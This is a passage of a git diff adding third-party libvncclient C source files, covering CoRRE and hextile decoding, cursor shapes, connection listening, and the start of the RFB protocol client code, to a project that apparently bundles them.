* but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * corre.c - handle CoRRE encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles a CoRRE + * encoded rectangle with BPP bits per pixel. + */ + +#define HandleCoRREBPP CONCAT2E(HandleCoRRE,BPP) +#define CARDBPP CONCAT3E(uint,BPP,_t) + +static rfbBool +HandleCoRREBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbRREHeader hdr; + int i; + CARDBPP pix; + uint8_t *ptr; + int x, y, w, h; + + if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbRREHeader)) + return FALSE; + + hdr.nSubrects = rfbClientSwap32IfLE(hdr.nSubrects); + + if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) + return FALSE; + + client->GotFillRect(client, rx, ry, rw, rh, pix); + + if (hdr.nSubrects > RFB_BUFFER_SIZE / (4 + (BPP / 8)) || !ReadFromRFBServer(client, client->buffer, hdr.nSubrects * (4 + (BPP / 8)))) + return FALSE; + + ptr = (uint8_t *)client->buffer; + + for (i = 0; i < hdr.nSubrects; i++) { + pix = *(CARDBPP *)ptr; + ptr += BPP/8; + x = *ptr++; + y = *ptr++; + w = *ptr++; + h = *ptr++; + + client->GotFillRect(client, rx+x, ry+y, w, h, pix); + } + + return TRUE; +} + +#undef CARDBPP diff --git a/3rdparty/libvncserver/libvncclient/cursor.c b/3rdparty/libvncserver/libvncclient/cursor.c new file mode 100644 index 0000000..67f4572 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/cursor.c @@ -0,0 +1,173 @@ +/* + * Copyright (C) 2001,2002 Constantin Kaplinsky. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * cursor.c - code to support cursor shape updates (XCursor and + * RichCursor preudo-encodings). + */ + +#include + + +#define OPER_SAVE 0 +#define OPER_RESTORE 1 + +#define RGB24_TO_PIXEL(bpp,r,g,b) \ + ((((uint##bpp##_t)(r) & 0xFF) * client->format.redMax + 127) / 255 \ + << client->format.redShift | \ + (((uint##bpp##_t)(g) & 0xFF) * client->format.greenMax + 127) / 255 \ + << client->format.greenShift | \ + (((uint##bpp##_t)(b) & 0xFF) * client->format.blueMax + 127) / 255 \ + << client->format.blueShift) + + +rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc) +{ + int bytesPerPixel; + size_t bytesPerRow, bytesMaskData; + rfbXCursorColors rgb; + uint32_t colors[2]; + char *buf; + uint8_t *ptr; + int x, y, b; + + bytesPerPixel = client->format.bitsPerPixel / 8; + bytesPerRow = (width + 7) / 8; + bytesMaskData = bytesPerRow * height; + + if (width * height == 0) + return TRUE; + + /* Allocate memory for pixel data and temporary mask data. */ + if(client->rcSource) + free(client->rcSource); + + client->rcSource = malloc(width * height * bytesPerPixel); + if (client->rcSource == NULL) + return FALSE; + + buf = malloc(bytesMaskData); + if (buf == NULL) { + free(client->rcSource); + client->rcSource = NULL; + return FALSE; + } + + /* Read and decode cursor pixel data, depending on the encoding type. */ + + if (enc == rfbEncodingXCursor) { + /* Read and convert background and foreground colors. */ + if (!ReadFromRFBServer(client, (char *)&rgb, sz_rfbXCursorColors)) { + free(client->rcSource); + client->rcSource = NULL; + free(buf); + return FALSE; + } + colors[0] = RGB24_TO_PIXEL(32, rgb.backRed, rgb.backGreen, rgb.backBlue); + colors[1] = RGB24_TO_PIXEL(32, rgb.foreRed, rgb.foreGreen, rgb.foreBlue); + + /* Read 1bpp pixel data into a temporary buffer. */ + if (!ReadFromRFBServer(client, buf, bytesMaskData)) { + free(client->rcSource); + client->rcSource = NULL; + free(buf); + return FALSE; + } + + /* Convert 1bpp data to byte-wide color indices. */ + ptr = client->rcSource; + for (y = 0; y < height; y++) { + for (x = 0; x < width / 8; x++) { + for (b = 7; b >= 0; b--) { + *ptr = buf[y * bytesPerRow + x] >> b & 1; + ptr += bytesPerPixel; + } + } + for (b = 7; b > 7 - width % 8; b--) { + *ptr = buf[y * bytesPerRow + x] >> b & 1; + ptr += bytesPerPixel; + } + } + + /* Convert indices into the actual pixel values. */ + switch (bytesPerPixel) { + case 1: + for (x = 0; x < width * height; x++) + client->rcSource[x] = (uint8_t)colors[client->rcSource[x]]; + break; + case 2: + for (x = 0; x < width * height; x++) + ((uint16_t *)client->rcSource)[x] = (uint16_t)colors[client->rcSource[x * 2]]; + break; + case 4: + for (x = 0; x < width * height; x++) + ((uint32_t *)client->rcSource)[x] = colors[client->rcSource[x * 4]]; + break; + } + + } else { /* enc == rfbEncodingRichCursor */ + + if (!ReadFromRFBServer(client, (char *)client->rcSource, width * height * bytesPerPixel)) { + free(client->rcSource); + client->rcSource = NULL; + free(buf); + return FALSE; + } + + } + + /* Read and decode mask data. */ + + if (!ReadFromRFBServer(client, buf, bytesMaskData)) { + free(client->rcSource); + client->rcSource = NULL; + free(buf); + return FALSE; + } + + client->rcMask = malloc(width * height); + if (client->rcMask == NULL) { + free(client->rcSource); + client->rcSource = NULL; + free(buf); + return FALSE; + } + + ptr = client->rcMask; + for (y = 0; y < height; y++) { + for (x = 0; x < width / 8; x++) { + for (b = 7; b >= 0; b--) { + *ptr++ = buf[y * bytesPerRow + x] >> b & 1; + } + } + for (b = 7; b > 7 - width % 8; b--) { + *ptr++ = buf[y * bytesPerRow + x] >> b & 1; + } + } + + if (client->GotCursorShape != NULL) { + client->GotCursorShape(client, xhot, yhot, width, height, bytesPerPixel); + } + + free(buf); + + return TRUE; +} + + diff --git a/3rdparty/libvncserver/libvncclient/hextile.c b/3rdparty/libvncserver/libvncclient/hextile.c new file mode 100644 index 0000000..05a7cf5 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/hextile.c @@ -0,0 +1,127 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * hextile.c - handle hextile encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles a hextile + * encoded rectangle with BPP bits per pixel. + */ + +#define HandleHextileBPP CONCAT2E(HandleHextile,BPP) +#define CARDBPP CONCAT3E(uint,BPP,_t) + +static rfbBool +HandleHextileBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + CARDBPP bg, fg; + int i; + uint8_t *ptr; + int x, y, w, h; + int sx, sy, sw, sh; + uint8_t subencoding; + uint8_t nSubrects; + + for (y = ry; y < ry+rh; y += 16) { + for (x = rx; x < rx+rw; x += 16) { + w = h = 16; + if (rx+rw - x < 16) + w = rx+rw - x; + if (ry+rh - y < 16) + h = ry+rh - y; + + if (!ReadFromRFBServer(client, (char *)&subencoding, 1)) + return FALSE; + + if (subencoding & rfbHextileRaw) { + if (!ReadFromRFBServer(client, client->buffer, w * h * (BPP / 8))) + return FALSE; + + client->GotBitmap(client, (uint8_t *)client->buffer, x, y, w, h); + + continue; + } + + if (subencoding & rfbHextileBackgroundSpecified) + if (!ReadFromRFBServer(client, (char *)&bg, sizeof(bg))) + return FALSE; + + client->GotFillRect(client, x, y, w, h, bg); + + if (subencoding & rfbHextileForegroundSpecified) + if (!ReadFromRFBServer(client, (char *)&fg, sizeof(fg))) + return FALSE; + + if (!(subencoding & rfbHextileAnySubrects)) { + continue; + } + + if (!ReadFromRFBServer(client, (char *)&nSubrects, 1)) + return FALSE; + + ptr = (uint8_t*)client->buffer; + + if (subencoding & rfbHextileSubrectsColoured) { + if (!ReadFromRFBServer(client, client->buffer, nSubrects * (2 + (BPP / 8)))) + return FALSE; + + for (i = 0; i < nSubrects; i++) { +#if BPP==8 + GET_PIXEL8(fg, ptr); +#elif BPP==16 + GET_PIXEL16(fg, ptr); +#elif BPP==32 + GET_PIXEL32(fg, ptr); +#else +#error "Invalid BPP" +#endif + sx = rfbHextileExtractX(*ptr); + sy = rfbHextileExtractY(*ptr); + ptr++; + sw = rfbHextileExtractW(*ptr); + sh = rfbHextileExtractH(*ptr); + ptr++; + + client->GotFillRect(client, x+sx, y+sy, sw, sh, fg); + } + + } else { + if (!ReadFromRFBServer(client, client->buffer, nSubrects * 2)) + return FALSE; + + for (i = 0; i < nSubrects; i++) { + sx = rfbHextileExtractX(*ptr); + sy = rfbHextileExtractY(*ptr); + ptr++; + sw = rfbHextileExtractW(*ptr); + sh = rfbHextileExtractH(*ptr); + ptr++; + + client->GotFillRect(client, x+sx, y+sy, sw, sh, fg); + } + } + } + } + + return TRUE; +} + +#undef CARDBPP diff --git a/3rdparty/libvncserver/libvncclient/listen.c b/3rdparty/libvncserver/libvncclient/listen.c new file mode 100644 index 0000000..4ecedff --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/listen.c @@ -0,0 +1,230 @@ +/* + * Copyright (C) 2011-2012 Christian Beier + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * listen.c - listen for incoming connections + */ + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#endif +#if LIBVNCSERVER_HAVE_UNISTD_H +#include +#endif +#include +#ifdef WIN32 +#define close closesocket +#include +#else // #ifdef WIN32 +#include +#include +#endif +#if LIBVNCSERVER_HAVE_SYS_TIME_H +#include +#endif +#include + +/* + * listenForIncomingConnections() - listen for incoming connections from + * servers, and fork a new process to deal with each connection. + */ + +void +listenForIncomingConnections(rfbClient* client) +{ +#ifdef WIN32 + /* FIXME */ + rfbClientErr("listenForIncomingConnections on MinGW32 NOT IMPLEMENTED\n"); + return; +#else + int listenSocket, listen6Socket = -1; + fd_set fds; + + client->listenSpecified = TRUE; + + listenSocket = ListenAtTcpPortAndAddress(client->listenPort, client->listenAddress); + + if ((listenSocket < 0)) + return; + + rfbClientLog("%s -listen: Listening on port %d\n", + client->programName,client->listenPort); + rfbClientLog("%s -listen: Command line errors are not reported until " + "a connection comes in.\n", client->programName); + +#ifdef LIBVNCSERVER_IPv6 /* only try that if we're IPv6-capable, otherwise we may try to bind to the same port which would make all that listening fail */ + /* only do IPv6 listen of listen6Port is set */ + if (client->listen6Port > 0) + { + listen6Socket = ListenAtTcpPortAndAddress(client->listen6Port, client->listen6Address); + + if (listen6Socket < 0) + return; + + rfbClientLog("%s -listen: Listening on IPV6 port %d\n", + client->programName,client->listenPort); + rfbClientLog("%s -listen: Command line errors are not reported until " + "a connection comes in.\n", client->programName); + } +#endif + + while (TRUE) { + int r; + /* reap any zombies */ + int status, pid; + while ((pid= wait4(-1, &status, WNOHANG, (struct rusage *)0))>0); + + /* TODO: callback for discard any events (like X11 events) */ + + FD_ZERO(&fds); + + if(listenSocket >= 0) + FD_SET(listenSocket, &fds); + if(listen6Socket >= 0) + FD_SET(listen6Socket, &fds); + + r = select(rfbMax(listenSocket, listen6Socket)+1, &fds, NULL, NULL, NULL); + + if (r > 0) { + if (FD_ISSET(listenSocket, &fds)) + client->sock = AcceptTcpConnection(client->listenSock); + else if (FD_ISSET(listen6Socket, &fds)) + client->sock = AcceptTcpConnection(client->listen6Sock); + + if (client->sock < 0) + return; + if (!SetNonBlocking(client->sock)) + return; + + /* Now fork off a new process to deal with it... */ + + switch (fork()) { + + case -1: + rfbClientErr("fork\n"); + return; + + case 0: + /* child - return to caller */ + close(listenSocket); + close(listen6Socket); + return; + + default: + /* parent - go round and listen again */ + close(client->sock); + break; + } + } + } +#endif +} + + + +/* + * listenForIncomingConnectionsNoFork() - listen for incoming connections + * from servers, but DON'T fork, instead just wait timeout microseconds. + * If timeout is negative, block indefinitely. + * Returns 1 on success (there was an incoming connection on the listen socket + * and we accepted it successfully), -1 on error, 0 on timeout. + */ + +int +listenForIncomingConnectionsNoFork(rfbClient* client, int timeout) +{ + fd_set fds; + struct timeval to; + int r; + + to.tv_sec= timeout / 1000000; + to.tv_usec= timeout % 1000000; + + client->listenSpecified = TRUE; + + if (client->listenSock < 0) + { + client->listenSock = ListenAtTcpPortAndAddress(client->listenPort, client->listenAddress); + + if (client->listenSock < 0) + return -1; + + rfbClientLog("%s -listennofork: Listening on port %d\n", + client->programName,client->listenPort); + rfbClientLog("%s -listennofork: Command line errors are not reported until " + "a connection comes in.\n", client->programName); + } + +#ifdef LIBVNCSERVER_IPv6 /* only try that if we're IPv6-capable, otherwise we may try to bind to the same port which would make all that listening fail */ + /* only do IPv6 listen of listen6Port is set */ + if (client->listen6Port > 0 && client->listen6Sock < 0) + { + client->listen6Sock = ListenAtTcpPortAndAddress(client->listen6Port, client->listen6Address); + + if (client->listen6Sock < 0) + return -1; + + rfbClientLog("%s -listennofork: Listening on IPV6 port %d\n", + client->programName,client->listenPort); + rfbClientLog("%s -listennofork: Command line errors are not reported until " + "a connection comes in.\n", client->programName); + } +#endif + + FD_ZERO(&fds); + + if(client->listenSock >= 0) + FD_SET(client->listenSock, &fds); + if(client->listen6Sock >= 0) + FD_SET(client->listen6Sock, &fds); + + if (timeout < 0) + r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, NULL); + else + r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, &to); + + if (r > 0) + { + if (FD_ISSET(client->listenSock, &fds)) + client->sock = AcceptTcpConnection(client->listenSock); + else if (FD_ISSET(client->listen6Sock, &fds)) + client->sock = AcceptTcpConnection(client->listen6Sock); + + if (client->sock < 0) + return -1; + if (!SetNonBlocking(client->sock)) + return -1; + + if(client->listenSock >= 0) { + close(client->listenSock); + client->listenSock = -1; + } + if(client->listen6Sock >= 0) { + close(client->listen6Sock); + client->listen6Sock = -1; + } + return r; + } + + /* r is now either 0 (timeout) or -1 (error) */ + return r; +} + + diff --git a/3rdparty/libvncserver/libvncclient/rfbproto.c b/3rdparty/libvncserver/libvncclient/rfbproto.c new file mode 100644 index 0000000..7e3ac33 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/rfbproto.c @@ -0,0 +1,2475 @@ +/* + * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. + * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * rfbproto.c - functions to deal with client side of RFB protocol. + */ + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#define _POSIX_SOURCE +#define _XOPEN_SOURCE 600 +#endif +#ifndef WIN32 +#include +#include +#include +#include +#endif +#include +#include +#ifdef WIN32 +#undef SOCKET +#undef socklen_t +#endif +#ifdef LIBVNCSERVER_HAVE_LIBZ +#include +#ifdef __CHECKER__ +#undef Z_NULL +#define Z_NULL NULL +#endif +#endif + +#ifndef _MSC_VER +/* Strings.h is not available in MSVC */ +#include +#endif + +#include +#include + +#ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT +#include +#endif + +#include "sasl.h" +#ifdef LIBVNCSERVER_HAVE_LZO +#include +#else +#include "minilzo.h" +#endif +#include "tls.h" + +#include "VeyonRfbExt.h" + +#ifdef _MSC_VER +# define snprintf _snprintf /* MSVC went straight to the underscored syntax */ +#endif + +/* + * rfbClientLog prints a time-stamped message to the log file (stderr). + */ + +rfbBool rfbEnableClientLogging=TRUE; + +static void +rfbDefaultClientLog(const char *format, ...) +{ + va_list args; + char buf[256]; + time_t log_clock; + + if(!rfbEnableClientLogging) + return; + + va_start(args, format); + + time(&log_clock); + strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); + fprintf(stderr, "%s", buf); + + vfprintf(stderr, format, args); + fflush(stderr); + + va_end(args); +} + +rfbClientLogProc rfbClientLog=rfbDefaultClientLog; +rfbClientLogProc rfbClientErr=rfbDefaultClientLog; + +/* extensions */ + +rfbClientProtocolExtension* rfbClientExtensions = NULL; + +void rfbClientRegisterExtension(rfbClientProtocolExtension* e) +{ + e->next = rfbClientExtensions; + rfbClientExtensions = e; +} + +/* client data */ + +void rfbClientSetClientData(rfbClient* client, void* tag, void* data) +{ + rfbClientData* clientData = client->clientData; + + while(clientData && clientData->tag != tag) + clientData = clientData->next; + if(clientData == NULL) { + clientData = calloc(sizeof(rfbClientData), 1); + clientData->next = client->clientData; + client->clientData = clientData; + clientData->tag = tag; + } + + clientData->data = data; +} + +void* rfbClientGetClientData(rfbClient* client, void* tag) +{ + rfbClientData* clientData = client->clientData; + + while(clientData) { + if(clientData->tag == tag) + return clientData->data; + clientData = clientData->next; + } + + return NULL; +} + +static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); +#ifdef LIBVNCSERVER_HAVE_LIBZ +static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); +#ifdef LIBVNCSERVER_HAVE_LIBJPEG +static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); + +static long ReadCompactLen (rfbClient* client); +#endif +static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); +static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); +#endif + +/* + * Server Capability Functions + */ +rfbBool +SupportsClient2Server(rfbClient* client, int messageType) +{ + return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); +} + +rfbBool +SupportsServer2Client(rfbClient* client, int messageType) +{ + return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); +} + +void +SetClient2Server(rfbClient* client, int messageType) +{ + client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); +} + +void +SetServer2Client(rfbClient* client, int messageType) +{ + client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); +} + +void +ClearClient2Server(rfbClient* client, int messageType) +{ + client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); +} + +void +ClearServer2Client(rfbClient* client, int messageType) +{ + client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); +} + + +void +DefaultSupportedMessages(rfbClient* client) +{ + memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); + + /* Default client supported messages (universal RFB 3.3 protocol) */ + SetClient2Server(client, rfbSetPixelFormat); + /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ + SetClient2Server(client, rfbSetEncodings); + SetClient2Server(client, rfbFramebufferUpdateRequest); + SetClient2Server(client, rfbKeyEvent); + SetClient2Server(client, rfbPointerEvent); + SetClient2Server(client, rfbClientCutText); + /* technically, we only care what we can *send* to the server + * but, we set Server2Client Just in case it ever becomes useful + */ + SetServer2Client(client, rfbFramebufferUpdate); + SetServer2Client(client, rfbSetColourMapEntries); + SetServer2Client(client, rfbBell); + SetServer2Client(client, rfbServerCutText); +} + +void +DefaultSupportedMessagesUltraVNC(rfbClient* client) +{ + DefaultSupportedMessages(client); + SetClient2Server(client, rfbFileTransfer); + SetClient2Server(client, rfbSetScale); + SetClient2Server(client, rfbSetServerInput); + SetClient2Server(client, rfbSetSW); + SetClient2Server(client, rfbTextChat); + SetClient2Server(client, rfbPalmVNCSetScaleFactor); + /* technically, we only care what we can *send* to the server */ + SetServer2Client(client, rfbResizeFrameBuffer); + SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); + SetServer2Client(client, rfbFileTransfer); + SetServer2Client(client, rfbTextChat); +} + + +void +DefaultSupportedMessagesTightVNC(rfbClient* client) +{ + DefaultSupportedMessages(client); + SetClient2Server(client, rfbFileTransfer); + SetClient2Server(client, rfbSetServerInput); + SetClient2Server(client, rfbSetSW); + /* SetClient2Server(client, rfbTextChat); */ + /* technically, we only care what we can *send* to the server */ + SetServer2Client(client, rfbFileTransfer); + SetServer2Client(client, rfbTextChat); +} + +#ifndef WIN32 +static rfbBool +IsUnixSocket(const char *name) +{ + struct stat sb; + if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) + return TRUE; + return FALSE; +} +#endif + +/* + * ConnectToRFBServer. + */ + +rfbBool +ConnectToRFBServer(rfbClient* client,const char *hostname, int port) +{ + if (client->serverPort==-1) { + /* serverHost is a file recorded by vncrec. */ + const char* magic="vncLog0.0"; + char buffer[10]; + rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); + client->vncRec = rec; + + rec->file = fopen(client->serverHost,"rb"); + rec->tv.tv_sec = 0; + rec->readTimestamp = FALSE; + rec->doNotSleep = FALSE; + + if (!rec->file) { + rfbClientLog("Could not open %s.\n",client->serverHost); + return FALSE; + } + setbuf(rec->file,NULL); + + if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { + rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); + fclose(rec->file); + return FALSE; + } + client->sock = -1; + return TRUE; + } + +#ifndef WIN32 + if(IsUnixSocket(hostname)) + /* serverHost is a UNIX socket. */ + client->sock = ConnectClientToUnixSock(hostname); + else +#endif + { +#ifdef LIBVNCSERVER_IPv6 + client->sock = ConnectClientToTcpAddr6(hostname, port); +#else + unsigned int host; + + /* serverHost is a hostname */ + if (!StringToIPAddr(hostname, &host)) { + rfbClientLog("Couldn't convert '%s' to host address\n", hostname); + return FALSE; + } + client->sock = ConnectClientToTcpAddr(host, port); +#endif + } + + if (client->sock < 0) { + rfbClientLog("Unable to connect to VNC server\n"); + return FALSE; + } + + if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) + return FALSE; + + return SetNonBlocking(client->sock); +} + +/* + * ConnectToRFBRepeater. + */ + +rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) +{ + rfbProtocolVersionMsg pv; + int major,minor; + char tmphost[250]; + int tmphostlen; + +#ifdef LIBVNCSERVER_IPv6 + client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); +#else + unsigned int host; + if (!StringToIPAddr(repeaterHost, &host)) { + rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); + return FALSE; + } + + client->sock = ConnectClientToTcpAddr(host, repeaterPort); +#endif + + if (client->sock < 0) { + rfbClientLog("Unable to connect to VNC repeater\n"); + return FALSE; + } + + if (!SetNonBlocking(client->sock)) + return FALSE; + + if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) + return FALSE; + pv[sz_rfbProtocolVersionMsg] = 0; + + /* UltraVNC repeater always report version 000.000 to identify itself */ + if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { + rfbClientLog("Not a valid VNC repeater (%s)\n",pv); + return FALSE; + } + + rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); + + tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); + if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) + return FALSE; /* snprintf error or output truncated */ + + if (!WriteToRFBServer(client, tmphost, tmphostlen + 1)) + return FALSE; + + return TRUE; +} + +extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); +extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); + +static void +ReadReason(rfbClient* client) +{ + uint32_t reasonLen; + char *reason; + + if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; + reasonLen = rfbClientSwap32IfLE(reasonLen); + if(reasonLen > 1<<20) { + rfbClientLog("VNC connection failed, but sent reason length of %u exceeds limit of 1MB",(unsigned int)reasonLen); + return; + } + reason = malloc(reasonLen+1); + if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } + reason[reasonLen]=0; + rfbClientLog("VNC connection failed: %s\n",reason); + free(reason); +} + +rfbBool +rfbHandleAuthResult(rfbClient* client) +{ + uint32_t authResult=0; + + if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; + + authResult = rfbClientSwap32IfLE(authResult); + + switch (authResult) { + case rfbVncAuthOK: + rfbClientLog("VNC authentication succeeded\n"); + return TRUE; + break; + case rfbVncAuthFailed: + if (client->major==3 && client->minor>7) + { + /* we have an error following */ + ReadReason(client); + return FALSE; + } + rfbClientLog("VNC authentication failed\n"); + return FALSE; + case rfbVncAuthTooMany: + rfbClientLog("VNC authentication failed - too many tries\n"); + return FALSE; + } + + rfbClientLog("Unknown VNC authentication result: %d\n", + (int)authResult); + return FALSE; +} + + +static rfbBool +ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) +{ + uint8_t count=0; + uint8_t loop=0; + uint8_t flag=0; + rfbBool extAuthHandler; + uint8_t tAuth[256]; + char buf1[500],buf2[10]; + uint32_t authScheme; + rfbClientProtocolExtension* e; + + if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; + + if (count==0) + { + rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); + ReadReason(client); + return FALSE; + } + + rfbClientLog("We have %d security types to read\n", count); + authScheme=0; + /* now, we have a list of available security types to read ( uint8_t[] ) */ + for (loop=0;loopnext) { + if (!e->handleAuthentication) continue; + uint32_t const* secType; + for (secType = e->securityTypes; secType && *secType; secType++) { + if (tAuth[loop]==*secType) { + extAuthHandler=TRUE; + } + } + } + if 